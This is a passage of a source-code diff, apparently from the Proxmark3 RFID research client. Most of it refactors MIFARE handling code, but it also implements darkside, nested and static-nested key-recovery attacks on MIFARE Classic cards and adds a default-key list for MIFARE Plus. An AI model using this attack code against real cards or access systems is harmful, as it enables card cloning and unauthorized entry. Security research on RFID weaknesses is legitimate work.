lib14a.read(false, true) + if not tag then return oops(err) end core.clearCommandBuffer() -- Show tag info - print((' Found tag %s'):format(result.name)) + print((' Found tag %s'):format(tag.name)) dbg(('Using keyA : %s'):format(keyA)) @@ -152,13 +151,18 @@ local function main(args) local akeys = '' if usePreCalc then local pre = require('precalc') - akeys = pre.GetAll(result.uid) + akeys = pre.GetAll(tag.uid) dbg(akeys) else - print('Loading dumpkeys.bin') - local hex, err = utils.ReadDumpFile(input) + local filename = ('hf-mf-%s-key.bin'):format(tag.uid); + print('loading '..filename) + local hex, err = utils.ReadDumpFile(filename) if not hex then - return oops(err) + print('loading dumpkeys.bin') + hex, err = utils.ReadDumpFile('dumpkeys.bin') + if not hex then + return oops(err) + end end akeys = hex:sub(0,12*16) end diff --git a/client/luascripts/ufodump.lua b/client/luascripts/ufodump.lua index 140652492..ccf20f6b4 100644 --- a/client/luascripts/ufodump.lua +++ b/client/luascripts/ufodump.lua @@ -7,8 +7,8 @@ copyright = '' author = 'Iceman' version = 'v1.0.1' desc = [[ -This is a script that reads AZTEK iso14443a tags. -It starts from block 0, and ends at default block 20. Use 'b' to say different endblock. +This is a script that reads AZTEK ISO14443a tags. +It starts from block 0 and ends at default block 20. Use 'b' to say different endblock. xor: the first three block (0,1,2) is not XORED. The rest seems to be xored. ]] example = [[ diff --git a/client/mifare/mfkey.c b/client/mifare/mfkey.c index ee0c9f052..7d04762b8 100644 --- a/client/mifare/mfkey.c +++ b/client/mifare/mfkey.c @@ -14,7 +14,7 @@ #include "crapto1/crapto1.h" // MIFARE -int compare_uint64(const void *a, const void *b) { +int inline compare_uint64(const void *a, const void *b) { if (*(uint64_t *)b == *(uint64_t *)a) return 0; if (*(uint64_t *)b < * (uint64_t *)a) return 1; return -1; diff --git a/client/mifare/mifare4.c b/client/mifare/mifare4.c index 5cdca2e14..966a2027d 100644 --- a/client/mifare/mifare4.c +++ b/client/mifare/mifare4.c @@ -22,12 +22,7 @@ void mfpSetVerboseMode(bool verbose) { VerboseMode = verbose; } -typedef struct { - uint8_t Code; - const char *Description; -} PlusErrorsElm; - -static const PlusErrorsElm PlusErrors[] = { +static const PlusErrorsElm_t PlusErrors[] = { {0xFF, ""}, {0x00, "Transfer cannot be granted within the current authentication."}, {0x06, "Access Conditions not fulfilled. Block does not exist, block is not a value block."}, @@ -95,8 +90,8 @@ const char *mfGetAccessConditionsDesc(uint8_t blockn, uint8_t *data) { return StaticNone; }; /* -static int CalculateEncIVCommand(mf4Session *session, uint8_t *iv, bool verbose) { - memcpy(&iv[0], session->TI, 4); +static int CalculateEncIVCommand(mf4Session_t *session, uint8_t *iv, bool verbose) { + memcpy(&iv[0], &session->TI, 4); memcpy(&iv[4], &session->R_Ctr, 2); memcpy(&iv[6], &session->W_Ctr, 2); memcpy(&iv[8], &session->R_Ctr, 2); @@ -114,14 +109,14 @@ static int CalculateEncIVResponse(mf4Session *session, uint8_t *iv, bool verbose memcpy(&iv[6], &session->W_Ctr, 2); memcpy(&iv[8], &session->R_Ctr, 2); memcpy(&iv[10], &session->W_Ctr, 2); - memcpy(&iv[12], session->TI, 4); + memcpy(&iv[12], &session->TI, 4); return 0; } */ -int CalculateMAC(mf4Session *session, MACType_t mtype, uint8_t blockNum, uint8_t blockCount, uint8_t *data, int datalen, uint8_t *mac, bool verbose) { - if (!session || !session->Authenticated || !mac || !data || !datalen || datalen < 1) +int CalculateMAC(mf4Session_t *session, MACType_t mtype, uint8_t blockNum, uint8_t blockCount, uint8_t *data, int datalen, uint8_t *mac, bool verbose) { + if (!session || !session->Authenticated || !mac || !data || !datalen) return 1; memset(mac, 0x00, 8); @@ -168,21 +163,24 @@ int CalculateMAC(mf4Session *session, MACType_t mtype, uint8_t blockNum, uint8_t return aes_cmac8(NULL, session->Kmac, macdata, mac, macdatalen); } -int MifareAuth4(mf4Session *session, uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool verbose) { +int MifareAuth4(mf4Session_t *session, uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool dropFieldIfError, bool verbose, bool silentMode) { uint8_t data[257] = {0}; int datalen = 0; uint8_t RndA[17] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x00}; uint8_t RndB[17] = {0}; + if (silentMode) + verbose = false; + if (session) session->Authenticated = false; uint8_t cmd1[] = {0x70, keyn[1], keyn[0], 0x00}; - int res = ExchangeRAW14a(cmd1, sizeof(cmd1), activateField, true, data, sizeof(data), &datalen); + int res = ExchangeRAW14a(cmd1, sizeof(cmd1), activateField, true, data, sizeof(data), &datalen, silentMode); if (res) { - PrintAndLogEx(ERR, "Exchande raw error: %d", res); - DropField(); + if (!silentMode) PrintAndLogEx(ERR, "Exchande raw error: %d", res); + if (dropFieldIfError) DropField(); return 2; } @@ -190,20 +188,20 @@ int MifareAuth4(mf4Session *session, uint8_t *keyn, uint8_t *key, bool activateF PrintAndLogEx(INFO, "phase2: %s", sprint_hex(cmd2, 33)); - res = ExchangeRAW14a(cmd2, sizeof(cmd2), false, true, data, sizeof(data), &datalen); + res = ExchangeRAW14a(cmd2, sizeof(cmd2), false, true, data, sizeof(data), &datalen, silentMode); if (res) { - PrintAndLogEx(ERR, "Exchande raw error: %d", res); - DropField(); + if (!silentMode) PrintAndLogEx(ERR, "Exchande raw error: %d", res); + if (dropFieldIfError) DropField(); return 4; } @@ -241,12 +239,12 @@ int MifareAuth4(mf4Session *session, uint8_t *keyn, uint8_t *key, bool activateF } if (memcmp(&raw[4], &RndA[1], 16)) { - PrintAndLogEx(ERR, "\nAuthentication FAILED. rnd not equal"); + if (!silentMode) PrintAndLogEx(ERR, "\nAuthentication FAILED. rnd is not equal"); if (verbose) { PrintAndLogEx(ERR, "RndA reader: %s", sprint_hex(&RndA[1], 16)); PrintAndLogEx(ERR, "RndA card: %s", sprint_hex(&raw[4], 16)); } - DropField(); + if (dropFieldIfError) DropField(); return 5; } @@ -311,7 +309,7 @@ static int intExchangeRAW14aPlus(uint8_t *datain, int datainlen, bool activateFi if (VerboseMode) PrintAndLogEx(INFO, ">>> %s", sprint_hex(datain, datainlen)); - int res = ExchangeRAW14a(datain, datainlen, activateField, leaveSignalON, dataout, maxdataoutlen, dataoutlen); + int res = ExchangeRAW14a(datain, datainlen, activateField, leaveSignalON, dataout, maxdataoutlen, dataoutlen, false); if (VerboseMode) PrintAndLogEx(INFO, "<<< %s", sprint_hex(dataout, *dataoutlen)); @@ -332,7 +330,7 @@ int MFPCommitPerso(bool activateField, bool leaveSignalON, uint8_t *dataout, int return intExchangeRAW14aPlus(rcmd, sizeof(rcmd), activateField, leaveSignalON, dataout, maxdataoutlen, dataoutlen); } -int MFPReadBlock(mf4Session *session, bool plain, uint8_t blockNum, uint8_t blockCount, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac) { +int MFPReadBlock(mf4Session_t *session, bool plain, uint8_t blockNum, uint8_t blockCount, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac) { uint8_t rcmd[4 + 8] = {(plain ? (0x37) : (0x33)), blockNum, 0x00, blockCount}; if (!plain && session) CalculateMAC(session, mtypReadCmd, blockNum, blockCount, rcmd, 4, &rcmd[4], VerboseMode); @@ -350,7 +348,7 @@ int MFPReadBlock(mf4Session *session, bool plain, uint8_t blockNum, uint8_t bloc return 0; } -int MFPWriteBlock(mf4Session *session, uint8_t blockNum, uint8_t *data, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac) { +int MFPWriteBlock(mf4Session_t *session, uint8_t blockNum, uint8_t *data, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac) { uint8_t rcmd[1 + 2 + 16 + 8] = {0xA3, blockNum, 0x00}; memmove(&rcmd[3], data, 16); if (session) @@ -379,8 +377,8 @@ int mfpReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *data if (verbose) PrintAndLogEx(INFO, "--sector[%d]:%02x key:%04x", mfNumBlocksPerSector(sectorNo), sectorNo, uKeyNum); - mf4Session session; - int res = MifareAuth4(&session, keyn, key, true, true, verbose); + mf4Session_t _session; + int res = MifareAuth4(&_session, keyn, key, true, true, true, verbose, false); if (res) { PrintAndLogEx(ERR, "Sector %d authentication error: %d", sectorNo, res); return res; @@ -391,7 +389,7 @@ int mfpReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *data uint8_t mac[8] = {0}; uint8_t firstBlockNo = mfFirstBlockOfSector(sectorNo); for (int n = firstBlockNo; n < firstBlockNo + mfNumBlocksPerSector(sectorNo); n++) { - res = MFPReadBlock(&session, plain, n & 0xff, 1, false, true, data, sizeof(data), &datalen, mac); + res = MFPReadBlock(&_session, plain, n & 0xff, 1, false, true, data, sizeof(data), &datalen, mac); if (res) { PrintAndLogEx(ERR, "Sector %d read error: %d", sectorNo, res); DropField(); diff --git a/client/mifare/mifare4.h b/client/mifare/mifare4.h index 31eac1fdb..cb2c8d652 100644 --- a/client/mifare/mifare4.h +++ b/client/mifare/mifare4.h @@ -27,7 +27,7 @@ typedef struct { uint8_t Kmac[16]; uint16_t R_Ctr; uint16_t W_Ctr; -} mf4Session; +} mf4Session_t; typedef enum { mtypReadCmd, @@ -41,16 +41,22 @@ typedef struct { const char *description; } AccessConditions_t; + +typedef struct { + uint8_t Code; + const char *Description; +} PlusErrorsElm_t; + void mfpSetVerboseMode(bool verbose); const char *mfpGetErrorDescription(uint8_t errorCode); -int CalculateMAC(mf4Session *session, MACType_t mtype, uint8_t blockNum, uint8_t blockCount, uint8_t *data, int datalen, uint8_t *mac, bool verbose); -int MifareAuth4(mf4Session *session, uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool verbose); +int CalculateMAC(mf4Session_t *session, MACType_t mtype, uint8_t blockNum, uint8_t blockCount, uint8_t *data, int datalen, uint8_t *mac, bool verbose); +int MifareAuth4(mf4Session_t *session, uint8_t *keyn, uint8_t *key, bool activateField, bool leaveSignalON, bool dropFieldIfError, bool verbose, bool silentMode); int MFPWritePerso(uint8_t *keyNum, uint8_t *key, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); int MFPCommitPerso(bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen); -int MFPReadBlock(mf4Session *session, bool plain, uint8_t blockNum, uint8_t blockCount, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac); -int MFPWriteBlock(mf4Session *session, uint8_t blockNum, uint8_t *data, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac); +int MFPReadBlock(mf4Session_t *session, bool plain, uint8_t blockNum, uint8_t blockCount, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac); +int MFPWriteBlock(mf4Session_t *session, uint8_t blockNum, uint8_t *data, bool activateField, bool leaveSignalON, uint8_t *dataout, int maxdataoutlen, int *dataoutlen, uint8_t *mac); int mfpReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *dataout, bool verbose); const char *mfGetAccessConditionsDesc(uint8_t blockn, uint8_t *data); diff --git a/client/mifare/mifaredefault.c b/client/mifare/mifaredefault.c new file mode 100644 index 000000000..b41859f09 --- /dev/null +++ b/client/mifare/mifaredefault.c @@ -0,0 +1,39 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2017 Merlok +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Mifare default constants +//----------------------------------------------------------------------------- + +#include "mifaredefault.h" +#include "commonutil.h" // ARRAYLEN + +const char *g_mifare_plus_default_keys[] = { + "ffffffffffffffffffffffffffffffff", // default key + "00000000000000000000000000000000", + "a0a1a2a3a4a5a6a7a0a1a2a3a4a5a6a7", // MAD key + "b0b1b2b3b4b5b6b7b0b1b2b3b4b5b6b7", + "d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7", // NDEF key + "11111111111111111111111111111111", + "22222222222222222222222222222222", + "33333333333333333333333333333333", + "44444444444444444444444444444444", + "55555555555555555555555555555555", + "66666666666666666666666666666666", + "77777777777777777777777777777777", + "88888888888888888888888888888888", + "99999999999999999999999999999999", + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + "cccccccccccccccccccccccccccccccc", + "dddddddddddddddddddddddddddddddd", + "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee", + "000102030405060708090a0b0c0d0e0f", + "0102030405060708090a0b0c0d0e0f10", + "00010203040506070809101112131415", + "01020304050607080910111213141516" +}; +size_t g_mifare_plus_default_keys_len = ARRAYLEN(g_mifare_plus_default_keys); diff --git a/client/mifare/mifaredefault.h b/client/mifare/mifaredefault.h index 7232510a0..cdc103676 100644 --- a/client/mifare/mifaredefault.h +++ b/client/mifare/mifaredefault.h @@ -44,4 +44,7 @@ static const uint8_t g_mifare_ndef_key[] = {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}; static const uint8_t g_mifarep_mad_key[] = {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7}; static const uint8_t g_mifarep_ndef_key[] = {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}; +extern const char *g_mifare_plus_default_keys[]; +extern size_t g_mifare_plus_default_keys_len; + #endif diff --git a/client/mifare/mifarehost.c b/client/mifare/mifarehost.c index 39d2d6001..31085a629 100644 --- a/client/mifare/mifarehost.c +++ b/client/mifare/mifarehost.c @@ -17,13 +17,14 @@ #include "comms.h" #include "commonutil.h" #include "mifare4.h" -#include "ui.h" // PrintAndLog... +#include "ui.h" // PrintAndLog... #include "crapto1/crapto1.h" #include "crc16.h" #include "protocols.h" #include "mfkey.h" -#include "util_posix.h" // msclock - +#include "util_posix.h" // msclock +#include "cmdparser.h" // detection of flash capabilities +#include "cmdflashmemspiffs.h" // upload to flash mem int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { uint32_t uid = 0; @@ -33,10 +34,10 @@ int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { bool first_run = true; // message - PrintAndLogEx(NORMAL, "--------------------------------------------------------------------------------\n"); - PrintAndLogEx(NORMAL, "executing Darkside attack. Expected execution time: 25sec on average"); - PrintAndLogEx(NORMAL, "press pm3-button on the Proxmark3 device to abort both Proxmark3 and client."); - PrintAndLogEx(NORMAL, "--------------------------------------------------------------------------------\n"); + PrintAndLogEx(INFO, "--------------------------------------------------------------------------------\n"); + PrintAndLogEx(INFO, "executing Darkside attack. Expected execution time: 25sec on average"); + PrintAndLogEx(INFO, "press pm3-button on the Proxmark3 device to abort both Proxmark3 and client."); + PrintAndLogEx(INFO, "--------------------------------------------------------------------------------\n"); while (true) { clearCommandBuffer(); @@ -126,15 +127,16 @@ int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { } } - PrintAndLogEx(SUCCESS, "found %u candidate key%s\n", keycount, (keycount > 1) ? "s." : "."); + PrintAndLogEx(SUCCESS, "found " _YELLOW_("%u") "candidate key%s", keycount, (keycount > 1) ? "s." : "."); *key = UINT64_C(-1); uint8_t keyBlock[PM3_CMD_DATA_SIZE]; uint32_t max_keys = KEYS_IN_BLOCK; for (uint32_t i = 0; i < keycount; i += max_keys) { - uint32_t size = keycount - i > max_keys ? max_keys : keycount - i; - for (uint32_t j = 0; j < size; j++) { + uint8_t size = keycount - i > max_keys ? max_keys : keycount - i; + register uint8_t j; + for (j = 0; j < size; j++) { if (par_list == 0) { num_to_bytes(last_keylist[i * max_keys + j], 6, keyBlock + (j * 6)); } else { @@ -160,6 +162,7 @@ int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { free(keylist); return PM3_SUCCESS; } + int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key) { *key = -1; clearCommandBuffer(); @@ -167,9 +170,10 @@ int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keyc data[0] = keyType; data[1] = blockNo; data[2] = clear_trace; - data[3] = keycnt; - memcpy(data + 4, keyBlock, 6 * keycnt); - SendCommandNG(CMD_HF_MIFARE_CHKKEYS, data, (4 + 6 * keycnt)); + data[3] = 0; + data[4] = keycnt; + memcpy(data + 5, keyBlock, 6 * keycnt); + SendCommandNG(CMD_HF_MIFARE_CHKKEYS, data, (5 + 6 * keycnt)); PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_HF_MIFARE_CHKKEYS, &resp, 2500)) return PM3_ETIMEOUT; @@ -264,6 +268,53 @@ int mfCheckKeys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, return PM3_ESOFT; } +// Trigger device to use a binary file on flash mem as keylist for mfCheckKeys. +// As of now, 255 keys possible in the file +// 6 * 255 = 1500 bytes +int mfCheckKeys_file(uint8_t *destfn, uint64_t *key) { + *key = -1; + clearCommandBuffer(); + + struct { + uint8_t filename[32]; + } PACKED payload_file; + + memcpy(payload_file.filename, destfn, sizeof(payload_file.filename) - 1); + + PacketResponseNG resp; + clearCommandBuffer(); + SendCommandNG(CMD_HF_MIFARE_CHKKEYS_FILE, (uint8_t *)&payload_file, sizeof(payload_file)); + + uint8_t retry = 10; + + while (!WaitForResponseTimeout(CMD_HF_MIFARE_CHKKEYS, &resp, 2000)) { + + //flush queue + while (kbd_enter_pressed()) { + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + return PM3_EOPABORTED; + } + + retry--; + if (retry == 0) { + PrintAndLogEx(WARNING, "Chk keys file, timeouted"); + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + return PM3_ETIMEOUT; + } + } + + if (resp.status != PM3_SUCCESS) return resp.status; + + struct kr { + uint8_t key[6]; + bool found; + } PACKED; + struct kr *keyresult = (struct kr *)&resp.data.asBytes; + if (!keyresult->found) return PM3_ESOFT; + *key = bytes_to_num(keyresult->key, sizeof(keyresult->key)); + return PM3_SUCCESS; +} + // PM3 imp of J-Run mf_key_brute (part 2) // ref: https://github.com/J-Run/mf_key_brute int mfKeyBrute(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint64_t *resultkey) { @@ -309,7 +360,7 @@ int mfKeyBrute(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint64_t *resultk } // Compare 16 Bits out of cryptostate -static int Compare16Bits(const void *a, const void *b) { +inline static int Compare16Bits(const void *a, const void *b) { if ((*(uint64_t *)b & 0x00ff000000ff0000) == (*(uint64_t *)a & 0x00ff000000ff0000)) return 0; if ((*(uint64_t *)b & 0x00ff000000ff0000) > (*(uint64_t *)a & 0x00ff000000ff0000)) return 1; return -1; @@ -325,19 +376,20 @@ __attribute__((force_align_arg_pointer)) *nested_worker_thread(void *arg) { struct Crypto1State *p1; StateList_t *statelist = arg; - statelist->head.slhead = lfsr_recovery32(statelist->ks1, statelist->nt ^ statelist->uid); + statelist->head.slhead = lfsr_recovery32(statelist->ks1, statelist->nt_enc ^ statelist->uid); for (p1 = statelist->head.slhead; * (uint64_t *)p1 != 0; p1++) {}; statelist->len = p1 - statelist->head.slhead; statelist->tail.sltail = --p1; + qsort(statelist->head.slhead, statelist->len, sizeof(uint64_t), Compare16Bits); return statelist->head.slhead; } int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey, bool calibrate) { - uint16_t i; + uint32_t uid; StateList_t statelists[2]; struct Crypto1State *p1, *p2, *p3, *p4; @@ -361,7 +413,10 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, clearCommandBuffer(); SendCommandNG(CMD_HF_MIFARE_NESTED, (uint8_t *)&payload, sizeof(payload)); - if (!WaitForResponseTimeout(CMD_HF_MIFARE_NESTED, &resp, 1500)) return PM3_ETIMEOUT; + if (!WaitForResponseTimeout(CMD_HF_MIFARE_NESTED, &resp, 2000)) { + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + return PM3_ETIMEOUT; + } if (resp.status != PM3_SUCCESS) return PM3_ESOFT; @@ -383,16 +438,16 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, memcpy(&uid, package->cuid, sizeof(package->cuid)); - for (i = 0; i < 2; i++) { + for (uint8_t i = 0; i < 2; i++) { statelists[i].blockNo = package->block; statelists[i].keyType = package->keytype; statelists[i].uid = uid; } - memcpy(&statelists[0].nt, package->nt_a, sizeof(package->nt_a)); + memcpy(&statelists[0].nt_enc, package->nt_a, sizeof(package->nt_a)); memcpy(&statelists[0].ks1, package->ks_a, sizeof(package->ks_a)); - memcpy(&statelists[1].nt, package->nt_b, sizeof(package->nt_b)); + memcpy(&statelists[1].nt_enc, package->nt_b, sizeof(package->nt_b)); memcpy(&statelists[1].ks1, package->ks_b, sizeof(package->ks_b)); @@ -400,11 +455,11 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, pthread_t thread_id[2]; // create and run worker threads - for (i = 0; i < 2; i++) + for (uint8_t i = 0; i < 2; i++) pthread_create(thread_id + i, NULL, nested_worker_thread, &statelists[i]); // wait for threads to terminate: - for (i = 0; i < 2; i++) + for (uint8_t i = 0; i < 2; i++) pthread_join(thread_id[i], (void *)&statelists[i].head.slhead); // the first 16 Bits of the cryptostate already contain part of our key. @@ -420,14 +475,14 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, savestate = *p1; while (Compare16Bits(p1, &savestate) == 0 && p1 <= statelists[0].tail.sltail) { *p3 = *p1; - lfsr_rollback_word(p3, statelists[0].nt ^ statelists[0].uid, 0); + lfsr_rollback_word(p3, statelists[0].nt_enc ^ statelists[0].uid, 0); p3++; p1++; } savestate = *p2; while (Compare16Bits(p2, &savestate) == 0 && p2 <= statelists[1].tail.sltail) { *p4 = *p2; - lfsr_rollback_word(p4, statelists[1].nt ^ statelists[1].uid, 0); + lfsr_rollback_word(p4, statelists[1].nt_enc ^ statelists[1].uid, 0); p4++; p2++; } @@ -455,6 +510,8 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint32_t keycnt = statelists[0].len; if (keycnt == 0) goto out; + PrintAndLogEx(SUCCESS, "Found " _YELLOW_("%u") "candidate keys", keycnt); + memset(resultKey, 0, 6); uint64_t key64 = -1; @@ -462,13 +519,16 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint32_t max_keys = keycnt > KEYS_IN_BLOCK ? KEYS_IN_BLOCK : keycnt; uint8_t keyBlock[PM3_CMD_DATA_SIZE] = {0x00}; - for (i = 0; i < keycnt; i += max_keys) { + for (uint32_t i = 0; i < keycnt; i += max_keys) { - int size = keycnt - i > max_keys ? max_keys : keycnt - i; + uint64_t start_time = msclock(); - for (int j = 0; j < size; j++) { + uint8_t size = keycnt - i > max_keys ? max_keys : keycnt - i; + + register uint8_t j; + for (j = 0; j < size; j++) { crypto1_get_lfsr(statelists[0].head.slhead + i, &key64); - num_to_bytes(key64, 6, keyBlock + i * 6); + num_to_bytes(key64, 6, keyBlock + j * 6); } if (mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, size, keyBlock, &key64) == PM3_SUCCESS) { @@ -476,19 +536,26 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, free(statelists[1].head.slhead); num_to_bytes(key64, 6, resultKey); - PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [%012" PRIx64 "]", - (uint16_t)resp.oldarg[2] & 0xff, - (resp.oldarg[2] >> 8) ? 'B' : 'A', - key64 + PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [ " _YELLOW_("%s") "]", + package->block, + package->keytype ? 'B' : 'A', + sprint_hex_inrow(resultKey, 6) ); return -5; } + + uint64_t t2 = msclock(); + float bruteforce_per_second = (float)KEYS_IN_BLOCK / (float)(t2 - start_time) * 1000.0; + + if ( i + 1 % 10 == 0) + PrintAndLogEx(INFO, " %6d/%u keys | %5.1f keys/sec | worst case %6.1f seconds remaining", i, keycnt , bruteforce_per_second, (keycnt-i) / bruteforce_per_second); + } out: PrintAndLogEx(SUCCESS, "target block:%3u key type: %c", - (uint16_t)resp.oldarg[2] & 0xff, - (resp.oldarg[2] >> 8) ? 'B' : 'A' + package->block, + package->keytype ? 'B' : 'A' ); free(statelists[0].head.slhead); @@ -496,6 +563,182 @@ out: return -4; } +int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *resultKey) { + + uint32_t uid; + StateList_t statelists[1]; + struct Crypto1State *p1, *p3; + + struct { + uint8_t block; + uint8_t keytype; + uint8_t target_block; + uint8_t target_keytype; + uint8_t key[6]; + } PACKED payload; + payload.block = blockNo; + payload.keytype = keyType; + payload.target_block = trgBlockNo; + payload.target_keytype = trgKeyType; + memcpy(payload.key, key, sizeof(payload.key)); + + PacketResponseNG resp; + clearCommandBuffer(); + SendCommandNG(CMD_HF_MIFARE_STATIC_NESTED, (uint8_t *)&payload, sizeof(payload)); + + if (!WaitForResponseTimeout(CMD_HF_MIFARE_STATIC_NESTED, &resp, 2000)) + return PM3_ETIMEOUT; + + if (resp.status != PM3_SUCCESS) + return resp.status; + + struct p { + int16_t isOK; + uint8_t block; + uint8_t keytype; + uint8_t cuid[4]; + uint8_t nt[4]; + uint8_t ks[4]; + } PACKED; + struct p *package = (struct p *)resp.data.asBytes; + + // error during collecting static nested information + if (package->isOK == 0) return PM3_EUNDEF; + + memcpy(&uid, package->cuid, sizeof(package->cuid)); + + statelists[0].blockNo = package->block; + statelists[0].keyType = package->keytype; + statelists[0].uid = uid; + + memcpy(&statelists[0].nt_enc, package->nt, sizeof(package->nt)); + memcpy(&statelists[0].ks1, package->ks, sizeof(package->ks)); + + // calc keys + pthread_t t; + + // create and run worker thread + pthread_create(&t, NULL, nested_worker_thread, &statelists[0]); + + // wait for thread to terminate: + pthread_join(t, (void *)&statelists[0].head.slhead); + + // the first 16 Bits of the cryptostate already contain part of our key. + p1 = p3 = statelists[0].head.slhead; + + // create key candidates. + while (p1 <= statelists[0].tail.sltail) { + struct Crypto1State savestate; + savestate = *p1; + while (Compare16Bits(p1, &savestate) == 0 && p1 <= statelists[0].tail.sltail) { + *p3 = *p1; + lfsr_rollback_word(p3, statelists[0].nt_enc ^ statelists[0].uid, 0); + p3++; + p1++; + } + } + + *(uint64_t *)p3 = -1; + statelists[0].len = p3 - statelists[0].head.slhead; + statelists[0].tail.sltail = --p3; + + uint32_t keycnt = statelists[0].len; + if (keycnt == 0) goto out; + + PrintAndLogEx(SUCCESS, "Found " _YELLOW_("%u") "candidate keys", keycnt); + + memset(resultKey, 0, 6); + uint64_t key64 = -1; + + // The list may still contain several key candidates. Test each of them with mfCheckKeys + uint32_t maxkeysinblock = IfPm3Flash() ? 1000 : KEYS_IN_BLOCK; + uint32_t max_keys_chunk = keycnt > maxkeysinblock ? maxkeysinblock : keycnt; + + uint8_t *mem = calloc( (maxkeysinblock * 6) + 5, sizeof(uint8_t)); + if (mem == NULL) { + free(statelists[0].head.slhead); + return PM3_EMALLOC; + } + + uint8_t *p_keyblock = mem + 5; + mem[0] = statelists[0].keyType; + mem[1] = statelists[0].blockNo; + mem[2] = 1; + mem[3] = ((max_keys_chunk >> 8) & 0xFF); + mem[4] = (max_keys_chunk & 0xFF); + + uint8_t destfn[32]; + strncpy((char*)destfn, "static_nested_000.bin", sizeof(destfn) - 1); + + uint64_t start_time = msclock(); + for (uint32_t i = 0; i < keycnt; i += max_keys_chunk) { + + //flush queue + while (kbd_enter_pressed()) { + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + return PM3_EOPABORTED; + } + + int res = 0; + key64 = 0; + uint32_t chunk = keycnt - i > max_keys_chunk ? max_keys_chunk : keycnt - i; + + // copy x keys to device. + for (uint32_t j = 0; j < chunk; j++) { + crypto1_get_lfsr(statelists[0].head.slhead + i + j, &key64); + num_to_bytes(key64, 6, p_keyblock + j * 6); + } + + // check a block of generated candidate keys. + if (IfPm3Flash()) { + // upload to flash. + res = flashmem_spiffs_load(destfn, mem, 5 + (chunk * 6) ); + if (res != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "SPIFFS upload failed"); + return res; + } + + res = mfCheckKeys_file(destfn, &key64); + } else { + res = mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, chunk, mem, &key64); + } + + if (res == PM3_SUCCESS) { + p_keyblock = NULL; + free(statelists[0].head.slhead); + free(mem); + + num_to_bytes(key64, 6, resultKey); + + PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [ " _YELLOW_("%s") "]", + package->block, + package->keytype ? 'B' : 'A', + sprint_hex_inrow(resultKey, 6) + ); + return PM3_SUCCESS; + } else if (res == PM3_ETIMEOUT || res == PM3_EOPABORTED) { + return res; + } + +// if (i%10 